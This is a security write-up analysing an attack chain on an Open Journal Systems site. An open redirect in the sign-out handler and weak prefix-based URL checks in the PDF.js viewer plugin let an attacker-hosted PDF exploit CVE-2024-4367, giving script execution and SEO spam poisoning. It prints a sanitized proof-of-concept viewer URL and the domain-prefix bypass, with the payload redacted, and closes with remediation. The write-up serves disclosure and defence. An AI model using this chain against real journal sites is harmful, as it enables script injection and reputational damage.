
Summary
I analyzed an Open Journal Systems deployment where an open redirect chain could be combined with the bundled PKP pdfJsViewer plugin and a vulnerable PDF.js behavior to produce stored XSS-style execution and SEO poisoning.
The interesting part was the chaining. The initial weakness was not a classic form input XSS. The attacker used a PDF viewer endpoint, a redirect parameter, weak URL validation, and a malicious PDF payload to make untrusted content execute in the journal site’s viewer context.
Root cause: unsafe redirect handling and weak PDF URL validation around the OJS PDF viewer flow.
Affected Components
The validated environment used the following components:
- OJS version:
3.3.0-10 - PHP version:
7.4 - Web server:
NGINX - Affected plugin:
plugins/generic/pdfJsViewer - Vulnerable viewer endpoint:
/plugins/generic/pdfJsViewer/pdf.js/web/viewer.html - Primary parameter:
file - Redirect parameter involved in the chain:
source - Related PDF.js issue:
CVE-2024-4367 - Affected PDF.js range:
pdfjs-dist <= 4.1.392
I only treat this exact stack as confirmed because that is the environment validated during testing. Other OJS or plugin versions should be checked separately before making a broader affected-version claim.
Vulnerability Chain
The normal viewer flow is supposed to load a same-origin PDF through the file parameter. The issue appeared when the viewer accepted a same-origin-looking path that actually reached the OJS sign-out handler. That handler then processed a source value and returned a redirect to an attacker-controlled host.
At a high level, the chain looked like this:
- The PDF viewer receives a
fileparameter. - The value points to a same-origin OJS route instead of a direct external URL.
- The OJS route processes
sourceand returns an HTTP redirect. - The redirect target uses a hostname that begins with the trusted domain string.
- The PDF viewer follows the redirect and loads an attacker-controlled PDF.
- The malicious PDF abuses PDF.js FontMatrix JavaScript execution.
- The script executes in the viewer context and injects external content.
- Search engines index the poisoned pages, producing spam results.
The weak validation came from string prefix matching. A hostname shaped like trusted.example.<attacker-domain> can still begin with the trusted domain text, even though the real registrable domain is controlled by the attacker.
PoC Validation
The proof of concept used a sanitized chain like this:
/plugins/generic/pdfJsViewer/pdf.js/web/viewer.html
?file=/index.php/index/login/signOut?source=.<attacker-domain>/path
The dangerous part is that file first looks like a local path, so it can pass the viewer’s initial same-origin expectation. After the OJS route returns a redirect, the viewer can end up loading the attacker’s PDF.
The malicious PDF contained an embedded JavaScript trigger inside a PDF font object. The payload used a PDF.js FontMatrix execution primitive and decoded script content at render time.

I redacted the active payload and target details, but the screenshot shows the important primitive: JavaScript execution hidden inside a PDF structure that is later interpreted by PDF.js.
Search Poisoning Evidence
The impact was visible in search results. Indexed pages began showing gambling-themed titles and snippets under the affected journal viewer path, which is a common sign of SEO poisoning after content injection.

This matters because the issue was not only browser-side script execution. It also affected the public reputation of the journal domain once poisoned URLs were crawled and indexed.
Impact
The chain allowed attacker-controlled PDF content to be rendered through a trusted journal viewer URL. When combined with the PDF.js FontMatrix execution issue, the attacker could execute JavaScript in the viewer context and inject external content.
The practical impact included:
- open redirect abuse through the OJS sign-out flow,
- bypass of weak same-origin validation in the PDF viewer,
- JavaScript execution through a malicious PDF,
- stored XSS-style behavior through hosted and indexed malicious content,
- SEO poisoning with gambling-themed pages,
- and domain reputation damage through search result pollution.
Remediation
The remediation focused on breaking the chain at multiple points:
- block redirect chains involving
signOutandsourceinside PDF viewer requests, - replace prefix string matching with strict URL parsing,
- reject hostnames that only visually begin with the trusted domain,
- allow only expected same-origin PDF paths,
- disable PDF.js eval support where possible,
- apply fixes for
CVE-2024-4367, - add a restrictive Content Security Policy to the viewer,
- remove poisoned URLs through search console cleanup,
- and monitor search results for recurring spam keywords.
For the PDF viewer, validation should compare parsed URL origins, not raw string prefixes. A trusted origin should be treated as a structured tuple of scheme, hostname, and port, not as text that an attacker can prepend to a malicious domain.
Takeaway
This finding is a good example of why small web weaknesses can become serious when they are chained. An open redirect by itself may look low impact, and a PDF viewer parameter may look harmless when it “only loads files.” Together, they became a path from redirect abuse to XSS and search-index poisoning.
The defensive lesson is simple: validate URLs with real parsers, keep bundled JavaScript libraries patched, and do not let document viewers fetch arbitrary locations just because a URL starts with the right-looking text.